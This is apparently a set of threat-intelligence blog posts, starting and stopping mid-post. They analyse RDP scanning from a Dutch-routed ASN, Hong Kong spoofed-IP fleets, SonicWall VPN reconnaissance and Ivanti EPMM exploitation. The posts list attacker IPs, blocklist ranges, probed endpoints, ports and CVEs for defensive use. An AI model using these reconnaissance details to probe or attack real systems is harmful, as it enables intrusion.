The current activity profile is also narrower than early March's. Instead of mixed scanning, it is overwhelmingly focused on RDP:

Tag (as observed by GreyNoise)	Sessions in 48h
RDP Crawler	1,834,859
RDP Bruteforce Attempt	57,838
RDP Protocol	14,100
Web Crawler	6,122
Go HTTP Client	5,592
MySQL Protocol	3,067
MySQL Login Attempt	1,571

‍

RDP Crawler alone accounts for roughly 85% of AS213438's total observed sessions in the window. Adding the other two RDP tags pushes the RDP-related share to ~88%.

‍

Inside the Fleet

AS213438 had 32 active IP addresses in the 48-hour window, but only 21 of them are tagged by GreyNoise as RDP Crawler — the fleet behind the headline numbers. The remaining 11 IPs in the ASN are engaged in unrelated activity: web scanning, MySQL probing, Oracle WebLogic exploitation, and broad-spectrum reconnaissance.

The 21 RDP fleet IPs span four /24 network blocks:

Network Block	City	Active RDP IPs	Sessions (48h)
193.142.147.0/24	Netherlands (Amsterdam)	8	715,147
185.196.220.0/24	Netherlands (Lelystad)	5	461,080
79.124.8.0/24	Netherlands (Lelystad)	4	368,557
45.134.225.0/24	Netherlands (Amsterdam)	3	290,092

‍

BLOCK MALICIOUS IPS TRACK MALICIOUS IPS

‍

Those four /24s hold 20 of the 21 RDP fleet IPs. One additional low-volume RDP Crawler IP (5.253.86[.]23, Lelystad) sits in a fifth /24. All 21 RDP fleet IPs are geolocated to the Netherlands.

The Amsterdam-and-Lelystad concentration, on infrastructure routed through a single ASN registered to one trading name, looks like hosting concentration — not a distributed botnet built from compromised devices. Two details reinforce that read:

Shared protocol fingerprints. GreyNoise observed the same TLS fingerprints across multiple higher-volume IPs in the fleet, consistent with centralized tool deployment. Commodity scanners with default configs could produce the same pattern.

‍A broad, non-standard port set. The fleet targets RDP on 3389 plus alternates 3390, 3391, 3392, and PostgreSQL on 5432 plus 5430, 5431, 5433, 5434, 15432, 25432, 30432, 35432, and 55432. The same alternate ports appearing across multiple IPs is consistent with a coordinated scanning configuration drawing from a shared target list.

‍

Other Notable IPs in AS213438

One IP in the ASN — 31.56.110[.]107, geolocated to Colchester, UK — has been on GreyNoise's radar since May 2019 and operates as a broad-spectrum reconnaissance host classified as suspicious, not malicious. It is responsible for 259,925 of AS213438's 2,172,094 total sessions in the window, but contributes zero RDP Crawler sessions. The headline numbers are not affected by it: all RDP Crawler sessions come from the 21-IP RDP fleet, and the 67.4% global share holds whether you include the broader ASN or not.

‍

The Country-Level Shift

RDP Crawler is one of the most consistent high-volume tags in the GreyNoise dataset. For months, Romania led it. Here is what the composition looks like now:

Country	14d Baseline (Mar 22 – Apr 5)	48h Window (Apr 5 – Apr 7)
Netherlands	7.17%	53.86%
Romania	29.89%	15.78%
United States	16.79%	7.37%
Russia	4.30%	6.25%
Bulgaria	7.74%	3.45%
All others	33.91%	13.29%

‍

*Figure 2 — Composition of global RDP Crawler activity observed by GreyNoise. The Netherlands' share rose from 7.17% to 53.86% in the 48-hour window, surpassing Romania as the top source country.*

The Netherlands' daily rate went from ~64,894 sessions/day across the baseline to ~997,200 sessions/day in the window — a 15.4x increase. Romania's daily rate actually rose about 8% over the same comparison. Romania's share dropped because the Netherlands' volume grew much faster, not because Romania withdrew. This is a composition change driven by additive new volume.

For defenders, the effect is the same: any country-level RDP scanning weighting built from baselines before April 5 is misaligned with the current source distribution.

‍

The ColocaTel Continuity

In the Ghost Fleet Hong Kong blog published March 25, 2026, GreyNoise reported on 109.205.211[.]101 — one of the most active source IPs in the dataset the week of March 12–18, 2026, producing roughly 7.97 million sessions (99.5% of which were RDP Crawler). That IP's route is announced by AS201814, a Polish hosting network operated by MEVSPACE sp. z o.o. The /24 containing it, however, is registered in RIPE WHOIS to an organization carrying the ColocaTel Inc. trading name at a Seychelles address.

Two RIPE organization records — one holding AS213438, one holding the /24 that contained 109.205.211[.]101 — are registered to the same ColocaTel Inc. name at the same Seychelles address (306 Victoria House, Victoria Mahe), with the same abuse contact (`abuse@colocatel.com`). The two records have distinct RIPE org IDs (ORG-CI158-RIPE and ORG-CI159-RIPE) and distinct maintainer handles, so GreyNoise cannot assert operational continuity from RIPE metadata alone. What we can say is that the same trading name, at the same Seychelles address, with the same abuse contact, has been linked to two separate high-volume RDP scanning incidents in GreyNoise data within the past 30 days — first on a /24 routed through MEVSPACE, now on /24s routed through AS213438 itself.

‍

Recommendations

Security Operations

Add the four /24 blocks below to inbound RDP scanning watchlists or block rules. One rule materially reduces exposure.

Review authentication logs on internet-facing RDP services for activity from these blocks since April 5. Failed-auth patterns from these sources look like scanning, not users.

Audit non-standard RDP ports (3390, 3391, 3392) and non-standard PostgreSQL ports (5430–5434, 15432, 25432, 30432, 35432, 55432) on your edge.

‍

Threat Intelligence

Track AS213438 for further profile shifts — it has now demonstrated two burst-and-crash cycles within 30 days, and the operational pattern suggests further rotations are likely.

Treat ColocaTel Inc. as a persistent registration identity worth tracking across RIPE records, not a single ASN.

Cross-reference the four /24s and AS213438 against pivot sets from the March Ghost Fleet HK reporting.

‍

Security Leadership

Internet-facing RDP is continuously under scanning pressure regardless of which ASN is loudest that week. If you run it, assume it is being probed right now.

Country-level feeds that rank Romania, Russia, or China as the top RDP scanning sources are incomplete for this tag. The Netherlands has moved into the dominant position in this window.

‍

Source Indicators (AS213438 / ColocaTel Inc.)

These are source IPs and CIDRs from which GreyNoise observed scanning. They are not compromise indicators — a match in outbound traffic from your environment is not evidence of infection. Treat them as inbound block/monitoring candidates.

Source Networks (AS213438 — RDP fleet /24s)

CIDR	City	Active RDP IPs (48h)	Sessions (48h)
193.142.147.0/24	Netherlands (Amsterdam)	8	715,147
185.196.220.0/24	Netherlands (Lelystad)	5	461,080
79.124.8.0/24	Netherlands (Lelystad)	4	368,557
45.134.225.0/24	Netherlands (Amsterdam)	3	290,092

‍

BLOCK MALICIOUS IPS TRACK MALICIOUS IPS

‍

Top Source IPs (48h, AS213438 RDP fleet)

IP	City	First Observed	Notes
193.142.147[.]111	Amsterdam	2025-05-28	Highest-volume RDP fleet IP in window
45.134.225[.]47	Amsterdam	2026-03-05	New infrastructure
79.124.8[.]148	Lelystad	2026-03-05	New infrastructure
79.124.8[.]151	Lelystad	2026-03-05	New infrastructure
193.142.147[.]177	Amsterdam	2023-03-17	Oldest IP in the fleet by first-seen
185.196.220[.]130	Lelystad	2026-03-05	New infrastructure

‍

Destination Ports Targeted

Port	Service
3389	RDP (standard)
3390, 3391, 3392	RDP (non-standard)
5432	PostgreSQL (standard)
5430, 5431, 5433, 5434, 15432, 25432, 30432, 35432, 55432	PostgreSQL (non-standard)
3306	MySQL

‍

GreyNoise Tags (live data)

‍

Attribution note.
GreyNoise does not attribute this activity to a named threat actor or nation-state. ColocaTel Inc. is the RIPE-registered organization for AS213438. The /24 holding the IP referenced from the prior Ghost Fleet HK reporting is registered to a separate RIPE organization carrying the same ColocaTel Inc. trading name and Seychelles address. IP geolocation describes where infrastructure is routed, not where operators are located. GreyNoise has not made contact with ColocaTel and cannot confirm whether the registered organization is aware of, complicit in, or unaware of the activity sourced from address space registered to its name.

‍

Methodology.
All counts come from the GreyNoise Observation Grid (GOG). The 48-hour window is April 5, 2026 19:49 UTC through April 7, 2026 19:49 UTC. The 14-day baseline is March 22, 2026 19:49 UTC through April 5, 2026 19:49 UTC. Daily figures for April 7 reflect a full UTC day of observations. "21 IPs" refers to the count of unique AS213438 source addresses tagged by GreyNoise as RDP Crawler during the observation window; the broader ASN had 32 active IPs, with the remainder engaged in unrelated scanning activity. RDP Crawler is a stable long-running GreyNoise behavioral tag — tag-deployment artifacts are not a factor here. AS213438 registration details were independently verified against RIPE WHOIS on April 7, 2026. Historical AS213438 activity from March 5–11, 2026 and the early-March drop are drawn from the Ghost Fleet Hong Kong blog, published March 25, 2026. Volume verification details are described in the body of this report.

Apr 10, 2026

Ghost Fleet: Half of All New Scanning IPs Last Week Geolocated to Hong Kong — Nearly None Completed a Connection

Geographic references throughout this post describe where IPs are registered, not where the traffic necessarily originated or where operators are located.

‍

Key Findings

242,666 new IPs geolocating to Hong Kong — 48.9% of all new scanning IPs observed by GreyNoise last week. 99.7% never completed a TCP handshake.
One organization, GNET INC., contributed 143,340 IPs — 28.9% of all new IPs observed by GreyNoise. Zero were classified malicious.
Only 702 IPs geolocating to Hong Kong (0.3%) completed TCP handshakes. Of those, 362 are classified malicious.
UCLOUD (AS135377) surged +472% in session volume, becoming the top ASN by session volume in GreyNoise data — with only 1,746 IPs but 38% classified malicious.
The scanning landscape rotated: a top ASN from the prior week disappeared entirely, traffic from IPs geolocating to Australia dropped 72%, and new infrastructure geolocating to Poland and Germany appeared.

‍

The Ghost Fleet

Between March 12 and 18, GreyNoise observed 242,666 new IPs geolocating to Hong Kong — nearly equal to the rest of the world combined (253,646). Six hosting providers account for 93.3%:

Organization	ASN	New IPs	Spoofable	Malicious	Tags
GNET INC.	AS9294	143,340	99.998%	0	Virtually none
Yancy Limited	AS138415	34,051	99.998%	1	Virtually none
Cloudie Limited	AS55933	20,517	99.91%	45	Minimal
Zillion Network Inc.	AS54801	10,329	—	—	—
LARUS Limited	AS17561	9,433	100%	0	None
Netsec Limited	AS45753	8,759	99.96%	1	Minimal

‍

One Organization, 143,340 IPs, Zero Malicious

GNET INC. (AS9294) is the single largest contributor — one organization that added 28.9% of all new IPs observed by GreyNoise in a single week:

Metric	Value
Total active IPs (including pre-existing)	163,051
Spoofable	99.998% (only 3 completed TCP handshakes)
Classification	100% unknown
Malicious IPs	0
GOG sensor countries reached	Primarily United States
Tags	QUIC Protocol on 30 IPs. Nothing else.

‍

No exploitation. No brute-force activity. No web crawling. Incomplete connections only.

‍

Names That Don't Match Registration Geography

Several ghost fleet entities are registered under names that don't align with where their IPs geolocate:

Entity	ASN	Total IPs	Discrepancy
LUOGELANG (FRANCE) LIMITED	AS135097	62,617	"France" in name — 0% of IPs geolocate to France (62% HK, 38% US)
LARUS Limited	AS17561	19,687	Split between Hong Kong (9,832) and Russia (8,751)
Taiwan Li Run Ltd	AS131147	5,119	"Taiwan" in name — 4,096 IPs geolocate to mainland China, 1,023 to Hong Kong

‍

The Signal Behind the Noise: UCLOUD

The ghost fleet is the noise. The signal is UCLOUD (AS135377).

‍

UCLOUD contributes just 1,746 IPs — 0.4% of the active IPs geolocating to Hong Kong in GreyNoise data. But it accounts for an outsized share of observed scanning and exploitation attempts:

Metric	UCLOUD (AS135377)	Spoofable Fleet Average
New IPs	1,746	8,759 to 143,340 per ASN
Malicious classification	38% (663 IPs)	<0.1%
Spoofable	43.5%	>99.9%
GOG sensor countries reached	20+	Primarily 1 (US, 99.8%)
Unique protocol tags	14+ active tags	0-2 tags

‍

The Volume Surge

UCLOUD's session volume went from 9.7 million to 55.4 million in one week — displacing DigitalOcean as the top ASN by session volume in GreyNoise data:

Week	UCLOUD Sessions	DigitalOcean Sessions	UCLOUD Rank
Mar 5-11	9,679,761	31,361,945	#3
Mar 12-18	55,384,799	22,709,383	#1
Change	+472%	-27.6%

‍

The Rotation: Everything Shifted in Seven Days

What declined (source refers to IP geolocation; destination refers to GOG sensor location):

Source (by IP geolocation)	Mar 5-11	Mar 12-18	Change
Australia to US	4,109,617 sessions	1,153,593	-71.9%
Netherlands to US	17,886,273	12,952,923	-27.6%
Netherlands to Spain	5,540,230	3,112,579	-43.8%
Canada to US	3,649,150	2,454,528	-32.7%

‍

What appeared (source refers to IP geolocation; destination refers to GOG sensor location):

Source (by IP geolocation)	Mar 5-11	Mar 12-18	Change
Hong Kong to US	4,744,912	15,427,214	+225%
Poland to Spain	312,708	8,325,850	+2,563%
Hong Kong to Spain	1,410,537	7,117,338	+405%
Thailand to US	966,313	5,468,241	+466%
Nigeria to US	559,975	2,863,781	+411%
Lithuania to US	1,523,952	5,300,605	+248%
Bulgaria to US	1,496,734	3,444,281	+130%

‍

Under the Hood

Cross-referencing GreyNoise observations with Censys internet-wide scan data and VirusTotal reputation data reveals infrastructure patterns not visible from any single source.

Templated deployment across borders.

UCLOUD relay infrastructure.

Low reputation detection.

The top scanning IPs are barely flagged:

IP	Provider	Vendor Detections	Notable
109.205.211[.]101	MEVSPACE / Colocatel Inc. (AS201814)	2 of 94	Zero communicating files. 7.97M sessions/week. IPs geolocate to Poland; registered to Colocatel Inc. (Seychelles).
79.124.58[.]146	Tamatiya EOOD (AS50360)	5 of 94	IPs geolocate to Bulgaria. Self-signed SSL cert: localhost.localdomain by "VMware Installer"
91.238.181[.]10	Fbw Networks SAS (AS49434)	7 of 94	IPs geolocate to France. Communicating file: mssecsvr.exe (Win32, first seen 2018). Malicious history predating current activity.

‍

What We Don't Know

‍

What Defenders Should Do

Detection stacks that don't distinguish spoofable IPs from confirmed scanners may be affected. 242,666 unverified source addresses now exist in observation datasets. Systems that weight activity by IP count without verifying connections should be reviewed.
Update blocklists. The sources that dominated scanning the prior week declined or disappeared, replaced by infrastructure geolocating to Hong Kong, Poland, and Germany — all within seven days.
Monitor UCLOUD (AS135377). GreyNoise observed multi-protocol scanning activity targeting MySQL (3306), SSH (22), SMB (445), and RDP (3389).
‍Track the ghost fleet ASNs for behavioral changes: AS9294, AS138415, AS55933, AS135097, AS17561, AS45753. If these IPs begin completing TCP handshakes and deploying payloads, the assessment changes.

‍

Mar 25, 2026

Active Reconnaissance Campaign Targets SonicWall Firewalls Through Commercial Proxy Infrastructure

GreyNoise observed 84,142 scanning sessions targeting SonicWall SonicOS infrastructure between February 22 and February 25, 2026. The activity originated from 4,305 unique IP addresses across 20 autonomous systems, with three operationally distinct infrastructure clusters executing coordinated VPN enumeration. Ninety-two percent of sessions probed a single API endpoint to determine whether SSL VPN is enabled — the prerequisite check before credential attacks. A commercial proxy service delivered 32% of campaign volume through 4,102 rotating exit IPs in two surgical bursts totaling 16 hours. CVE exploitation was negligible, confirming this as systematic attack surface mapping.

‍

Why This Matters

SonicWall SSL VPN is one of the most documented initial access vectors for ransomware. Akira and Fog ransomware groups have repeatedly demonstrated that compromised SonicWall VPN credentials lead to full encryption in under four hours — with dwell times as short as 55 minutes. Five of seven SonicWall CVEs relevant to this attack surface appear in CISA's Known Exploited Vulnerabilities catalog, with four having documented ransomware use. The reconnaissance GreyNoise observed is the precursor phase — systematic target mapping that precedes exploitation.

Since March 2023, Akira alone has compromised at least 250 organizations and generated an estimated $244 million in ransomware proceeds, with 75% of SonicWall VPN intrusions attributed to Akira and 25% to Fog. More than 430,000 SonicWall firewalls are publicly exposed on the internet, with over 25,000 SSL VPN devices vulnerable to critical flaws and 20,000 running firmware that is no longer supported.

This is not the first time GreyNoise has observed this pattern. In December 2025, GreyNoise documented a coordinated credential campaign targeting both Palo Alto and SonicWall VPN infrastructure across 9 million sessions from more than 7,000 IPs, sharing identical client fingerprints across both vendors. The February 2026 campaign represents a continuation and intensification of VPN-focused reconnaissance.

‍

Key Takeaways

84,142 sessions from 4,305 IPs in four days — Coordinated reconnaissance targeting SonicWall VPN enumeration and credential testing endpoints indicates systematic attack surface mapping
92% of sessions probed a single API endpoint — The VPN status check determines which devices have SSL VPN active, creating a target list for future credential attacks
32% of volume routed through a commercial proxy service — 4,102 exit IPs delivered 27,119 sessions in two surgical bursts, averaging 6.6 sessions per IP to evade rate-limiting
Multi-vendor VPN reconnaissance — The Netherlands scanning cluster simultaneously targets SonicWall and Cisco ASA devices, indicating a broader VPN mapping operation
Reconnaissance dominates — 92% of sessions targeted a single VPN status-check endpoint, confirming systematic target mapping rather than active exploitation
Defenders should act now — Restrict management interface access, enforce MFA on SSL VPN, and patch CVE-2024-53704 (CVSS 9.8, CISA KEV) before reconnaissance converts to exploitation

‍

What GreyNoise Observed

Campaign Timeline

The campaign exhibited four distinct bursts separated by a ∼31-hour low-activity period, with a persistent credential-testing baseline running continuously underneath.

Burst 1 — Initial Scan Wave (Feb 22, 00:00–19:00 UTC): The campaign opened with a 19-hour scanning wave peaking at 3,272 sessions per hour. This burst combined proxy infrastructure with the Netherlands scanning cluster, totaling 30,952 sessions on the first day.

Low-Activity Period (Feb 22 21:00 – Feb 24 04:00 UTC, ∼31 hours): Session volume dropped to a 54–90 session/hour baseline — exclusively the persistent NetExtender credential testing cluster operating on autopilot.

Burst 2 — Proxy Resurgence (Feb 24, 04:00–12:00 UTC): The proxy infrastructure reactivated for a focused 8-hour window, delivering 17,991 sessions through rotating exit IPs. Per-IP volume remained extremely low (average 6.6 sessions, maximum 13), consistent with a proxy service rotating exit nodes.

Burst 3 — Peak Hour (Feb 24, 15:00–17:00 UTC): 7,374 sessions in the 15:00 UTC hour — the single highest hourly count of the entire campaign — followed by 5,484 in the 16:00 hour. This burst originated from the Netherlands scanning cluster, not the proxy pool.

Burst 4 — Final Surge (Feb 25, 08:00–13:00 UTC): A final burst peaked at 5,899 sessions in the 11:00 UTC hour, indicating ongoing orchestration.

‍

Date	Sessions
February 22	30,952
February 23	1,639 (baseline only)
February 24	32,616 (peak — three bursts)
February 25	18,935 (partial day)

‍

The dramatic February 23 lull — a 95% drop from the preceding day — is operationally significant. The scanning infrastructure did not fail; the persistent NetExtender cluster continued uninterrupted at its normal rate. The pause suggests deliberate operational scheduling.

‍

What Is Being Targeted

Two SonicWall-specific paths dominate the campaign, accounting for over 99.5% of all sessions:

‍

Target	Sessions	%	Purpose
SonicOS REST API — VPN status check	77,253	91.8%	Determines whether SSL VPN is enabled
NetExtender VPN client login endpoint	6,629	7.9%	Credential testing via legitimate VPN client
Other management paths	260	0.3%	Various admin endpoints

‍

‍

The overwhelming concentration on the VPN status API endpoint reveals the campaign’s objective: building a comprehensive list of SonicWall devices with active SSL VPN. This is a prerequisite for credential attacks — identifying which devices are worth targeting before deploying more expensive proxy resources for login testing.

‍

Four Infrastructure Clusters

‍

Cluster 1: Netherlands VPN Hunters (28% of Campaign)

Six IPs within a single Ukrainian-registered autonomous system (AS211736) operating from Amsterdam-based infrastructure delivered 23,794 sessions. These IPs run dual-vector scanning: VPN status enumeration paired with Cisco ASA reconnaissance, indicating a multi-vendor VPN mapping operation.

Censys infrastructure profiling revealed these nodes run identical software stacks. All share a single HASSH fingerprint, confirming deployment from a common provisioning template. Four of the six expose HTTP services on ports 7001–7003 with identical bare-minimum 404 responses — consistent with a custom scanning framework spawning worker threads.

‍

IP	ASN	Sessions	Also Scans
88[.]210[.]63[.]78	AS211736	4,669	Cisco ASA
185[.]156[.]73[.]19	AS211736	4,620	Cisco ASA
185[.]156[.]73[.]73	AS211736	4,491	Cisco ASA
88[.]210[.]63[.]77	AS211736	4,340	Cisco ASA
185[.]156[.]73[.]31	AS211736	4,333	Cisco ASA
88[.]210[.]63[.]79	AS211736	1,341	Cisco ASA

‍

Cluster 2: Commercial Proxy Spray (32% of Campaign)

27,119 sessions originated from 4,102 IP addresses in the 154[.]208[.]64[.]0/21 range, transiting through AS3257 (GTT Communications) from Canadian hosting infrastructure.

The proxy service — ByteZero (bytezero[.]io) — markets itself as offering 100+ million IPs across 150+ countries for web scraping and data collection. The scanning traffic originates from ByteZero’s paying customers, not the proxy infrastructure itself. ByteZero is the anonymization layer enabling the activity.

The proxy usage was surgical — concentrated in two primary windows:

‍

Window	Duration	Sessions
Feb 22, 00:00–06:00 UTC	7 hours	8,019
Feb 24, 04:00–12:00 UTC	9 hours	17,991

‍

A critical detail: ByteZero’s customer management platform went offline in early December 2025. The proxy nodes have continued operating for approximately three months without active abuse mitigation. This directly explains the unchecked scanning volume.

‍

Cluster 3: The Mega-Scanner (22% of Campaign)

A single IP — 130[.]12[.]180[.]29 on AS202412 (Omegatech, registered in the Seychelles), geolocating to Germany — generated 18,763 sessions. This IP scanned across 20+ destination ports including non-standard ports (6666, 7777, 7443, 9443), cycling through 26 different browser user agents to evade basic fingerprinting.

‍

Cluster 4: NetExtender Persistent (8% of Campaign)

156 IPs across four dedicated ranges maintain continuous credential testing at 54–72 sessions per hour against the NetExtender VPN login endpoint. This cluster uses a legitimate SonicWall VPN client identifier and never stops — it ran uninterrupted through the February 23 low-activity period. Total: 6,629 sessions over four days.

‍

Fingerprint Analysis

A single HTTP fingerprint was present in 58,510 sessions — nearly 70% of the entire campaign. The associated user agent presents as a modern browser (Chrome 119 on Linux) but is paired with HTTP/1.0, a protocol version that legitimate Chrome browsers never use. This mismatch is a reliable, high-confidence indicator of automated scanning tooling.

‍

Fingerprint	Sessions	%	Behavior
4-header GET, HTTP/1.0, Chrome UA	58,510	69.5%	NL cluster + proxy (VPN enum)
17-header GET, HTTP/1.1, rotating UAs	18,763	22.3%	Mega-scanner
6-header POST, HTTP/1.1, NetExtender	6,629	7.9%	Credential testing

‍

Exploitation Assessment

Despite the reconnaissance volume, the campaign's behavioral profile is overwhelmingly pre-exploitation. 92% of sessions queried a single API endpoint to determine VPN status — a prerequisite check, not an exploit. GreyNoise maintains CVE-specific detection tags for six of the seven CVEs below; CVE-2024-40766 does not currently have a detection tag.

‍

CVE	CVSS	CISA KEV	Ransomware Use	Campaign Sessions
CVE-2024-53704	9.8	Yes	Yes	5
CVE-2024-40766	9.8	Yes	Yes (Akira, Fog)	No tag
CVE-2022-22274	9.8	No	No	9*
CVE-2023-0656	7.5	No	No	9*
CVE-2021-20028	9.8	Yes	Yes	8
CVE-2024-38475	9.1	Yes	Unknown	6
CVE-2019-7481	7.5	Yes	Yes	6

*CVE-2022-22274 and CVE-2023-0656 are detected by the same GreyNoise tag ("SonicOS RCE Attempt"). The 9 campaign sessions apply to both CVEs collectively.

‍

‍

Four of the five CISA KEV entries have documented ransomware use. The behavioral profile of this campaign — 92% concentrated on a single VPN status-check endpoint — is consistent with pre-exploitation reconnaissance rather than active exploitation. The targets identified during this mapping phase are likely to face exploitation attempts in the days and weeks ahead.

‍

Strategic Implications

The use of commercial proxy services for VPN reconnaissance represents a maturation of the threat. Unlike botnets with fixed infrastructure, proxy services provide rotating datacenter IP addresses that are difficult to distinguish from legitimate traffic. The low per-IP session volume — averaging 6.6 sessions per exit node — is calibrated to evade rate-limiting and reputation-based blocking. Static blocklists cannot keep pace with infrastructure that rotates thousands of IPs within a single scan window.

The headless state of the proxy service — operating for three months without active abuse oversight after its management platform went offline — highlights a structural gap in the proxy ecosystem. When proxy providers lose the ability or incentive to police their customers’ traffic, their infrastructure becomes functionally equivalent to bullet-proof hosting.

This pattern is accelerating. In January 2026, Google disrupted IPIDEA — a residential proxy network used by over 550 threat groups including nation-state APTs — for credential stuffing and C2 obfuscation. The Shadowserver Foundation has tracked a separate campaign using 2.8 million IPs daily to brute-force VPN login portals. The proxy ecosystem has become the primary enabler of credential-based initial access.

Organizations running SonicWall firewalls should treat this reconnaissance as an early warning. The documented Akira ransomware kill chain begins with compromised SonicWall VPN credentials and achieves encryption in under four hours. SonicWall itself has confirmed that recent intrusions resulted from password reuse combined with CVE exploitation. The gap between the reconnaissance GreyNoise is observing and the exploitation that follows may be shorter than many organizations’ patching cycles.

‍

Check If Your SonicWall Was Targeted (5 Minutes)

Step 1 — Check your logs (2 minutes). Search firewall logs for external requests to these paths between February 22–25:

/api/sonicos/is-sslvpn-enabled (VPN status check)
/sonicui/7/login/ (management interface)
/cgi-bin/userLogin (VPN credential testing)

Step 2 — Check active VPN sessions (1 minute). Navigate to NETWORK | SSL VPN > Status in SonicOS 7.x. Look for sessions from IP addresses outside your user base, particularly from hosting or VPS providers.

Step 3 — Verify firmware and MFA (2 minutes). Confirm your SonicOS firmware is patched against CVE-2024-53704 (versions at or below 7.1.1-7058, 7.1.2-7019, or 8.0.0-8035 are vulnerable). Confirm MFA is enabled for all SSL VPN users.

If your SonicWall was probed and you are running end-of-life SRA appliances, disconnect them immediately — CVE-2021-20028 and CVE-2019-7481 have no patches available.

‍

Recommendations

For Security Leadership:

Audit SonicWall management interface exposure — administrative endpoints should never be internet-accessible
Verify MFA is enforced on all SSL VPN users — credential stuffing is rendered ineffective by MFA
Evaluate dynamic blocklists to address the IP rotation that makes static lists ineffective against proxy-based campaigns
Treat VPN infrastructure as a priority patching tier — the reconnaissance-to-exploitation gap is narrowing

‍

For Security Operations:

Restrict access to /sonicui/7/login/ and /api/sonicos/ paths to trusted management IPs only
Monitor for HTTP/1.0 requests paired with modern browser user agents — this combination is a high-confidence indicator of automated scanning
Block identified scanning infrastructure at the perimeter:
154[.]208[.]64[.]0/21 (proxy exit nodes)
185[.]177[.]72[.]0/24 (bullet-proof hosting)
185[.]156[.]73[.]0/24 and 88[.]210[.]63[.]0/24 (scanner fleet)
204[.]76[.]203[.]0/24 (scanning with credential collection indicators)

‍

For SonicWall Administrators:

Patch SonicOS against CVE-2024-53704 (CVSS 9.8, CISA KEV) — SonicWall advisory SNWLID-2025-0003
Reset all local user account passwords, especially those carried over during Gen 6 to Gen 7 migrations
Decommission end-of-life SRA appliances — no patches are available for CVE-2021-20028 or CVE-2019-7481
Enable login attempt lockout and password complexity enforcement (SonicOS 7.3+)
SonicWall administrators running SonicOS 7.3.2 or NSM SaaS also have access to the Credential Auditor feature, which provides visibility into credential sprawl and reuse across the firewall environment
Enable Geo-IP filtering and Botnet Protection on the firewall

‍

View real-time GreyNoise data on SonicWall activity:

‍

GreyNoise Research

Feb 27, 2026

Active Ivanti Exploitation Traced to Single Bulletproof IP—Published IOC Lists Point Elsewhere

The GreyNoise Global Observation Grid observed active exploitation of two critical Ivanti Endpoint Manager Mobile vulnerabilities, and 83% of that exploitation traces to a single IP address on bulletproof hosting infrastructure that does not appear on widely circulated IOC lists. Meanwhile, several of the most-shared IOCs for this campaign show zero Ivanti exploitation in GreyNoise data. They are scanning for Oracle WebLogic instead. Defenders blocking only the published indicators may be watching the wrong door.

‍

Why This Matters

The infrastructure actually conducting Ivanti EPMM exploitation at volume is an IP on a Censys-labeled "BULLETPROOF" autonomous system running simultaneous campaigns against four different software products. It is absent from the IOC lists many defenders adopted in the days after disclosure. The IOCs that are circulating point to shared VPN exit nodes conducting unrelated scanning and a compromised residential router with zero internet-wide activity. Organizations that relied solely on those indicators may have detection gaps against the exploitation GreyNoise is observing right now.

‍

Key Takeaways

Single dominant source. 83% of observed exploitation comes from one IP on bulletproof hosting (PROSPERO OOO, AS200593). This IP is not on widely published IOC lists, meaning defenders blocking only published indicators are likely missing the dominant exploitation source.
Published IOCs show zero Ivanti activity. The /24 subnet containing four published Windscribe VPN IOC IPs generated 29,588 sessions in 30 days, with 99% targeting Oracle WebLogic on port 7001, not Ivanti. Zero Ivanti EPMM exploitation sessions from this range in GreyNoise data.
Blind RCE verification, not immediate deployment. 85% of exploitation payloads use OAST DNS callbacks to verify command execution. This indicates a campaign cataloging vulnerable targets for later exploitation, consistent with initial access broker tradecraft.
Exploitation is accelerating. 269 sessions on February 8 alone, up from a daily average of 21. Defenders with unpatched, internet-facing EPMM instances should assume they have been scanned and investigate for signs of compromise.

For GreyNoise customers: An IOC package and executive situation report (SITREP) for CVE-2026-1281 have been delivered to your inbox. Check your email for the full package, including indicators, detection guidance, and a board-ready summary.

‍

The Vulnerability and Timeline

CVE-2026-1281 is a CVSS 9.8 (v3.1) unauthenticated remote code execution vulnerability in Ivanti Endpoint Manager Mobile. It exploits Bash arithmetic expansion in EPMM’s file delivery mechanism, allowing an unauthenticated attacker to execute arbitrary commands on the underlying server. Ivanti also disclosed CVE-2026-1340 (CVSS 9.8), a related code injection flaw in a different EPMM component.

On January 29, three things happened on the same day: Ivanti published its advisory, CISA added CVE-2026-1281 to the Known Exploited Vulnerabilities catalog with a three-day remediation deadline, and Dutch authorities later confirmed that the Dutch Data Protection Authority (AP) and the Council for the Judiciary (RVDR) had been compromised via Ivanti EPMM. By January 30, watchTowr Labs had published a full technical analysis, and proof-of-concept code appeared on GitHub shortly after. NHS England, CERT-EU, and NCSC-NL also issued advisories confirming active exploitation.

Vendor disclosure, CISA KEV listing, and confirmed government compromise occurred on a single day. By the time most organizations saw the advisory, exploitation was already underway against real targets.

‍

What GreyNoise Sensors Observed

GreyNoise first detected CVE-2026-1281 exploitation attempts on February 1, three days after disclosure. Between February 1 and February 9, GreyNoise sensors recorded 417 exploitation sessions from 8 unique source IPs.

‍

‍

Date	Sessions	Note
Feb 1	2	First exploitation observed
Feb 2	26	Primary source escalates
Feb 3	9	Continued probing
Feb 4	26	Second source appears
Feb 5	8	Third source appears
Feb 6	35	Multiple IPs active
Feb 7	41	Continued escalation
Feb 8	269	Sharp spike
Feb 9	1	As of publication

‍

The February 8 spike is notable: 269 sessions in a single day, roughly 13 times the daily average of the preceding week. This pattern of sustained low-level activity followed by a sharp escalation suggests either expanded targeting scope or retooling by the primary source.

The 8 Source IPs

‍

Source IP	Ivanti Sessions	Organization	ASN	Infrastructure Location
193[.]24[.]123[.]42	346 (83%)	PROSPERO OOO	AS200593	Russia
45[.]129[.]230[.]38	26	ColocaTel Inc.	AS213438	Netherlands
198[.]98[.]54[.]209	26	FranTech Solutions	AS53667	United States
156[.]146[.]45[.]26	8	Datacamp Limited	AS212238	Hong Kong
198[.]98[.]56[.]220	8	FranTech Solutions	AS53667	United States
3 additional IPs	1 each	Various	—	—

‍

IP geolocation reflects infrastructure registration, not operator location. GreyNoise is not attributing this activity to a specific threat actor.

‍

The Dominant Source: PROSPERO OOO

One IP generated 346 of 417 observed exploitation sessions. 193[.]24[.]123[.]42, registered to PROSPERO OOO (AS200593) and geolocating to Saint Petersburg, Russia, accounts for 83% of all Ivanti EPMM exploitation in GreyNoise telemetry. Censys identifies this autonomous system with a confidence-scored "BULLETPROOF" label.

This IP does not appear on the widely circulated IOC lists for this campaign.

‍

A Multi-CVE Exploitation Platform

This is not a single-purpose host. GreyNoise telemetry shows 193[.]24[.]123[.]42 simultaneously exploiting four different CVEs across unrelated software:

‍

CVE	Target Software	Sessions
CVE-2026-21962	Oracle WebLogic	2,902
CVE-2026-24061	GNU Inetutils Telnetd	497
CVE-2026-1281	Ivanti EPMM	346
CVE-2025-24799	GLPI (IT Asset Management)	200

‍

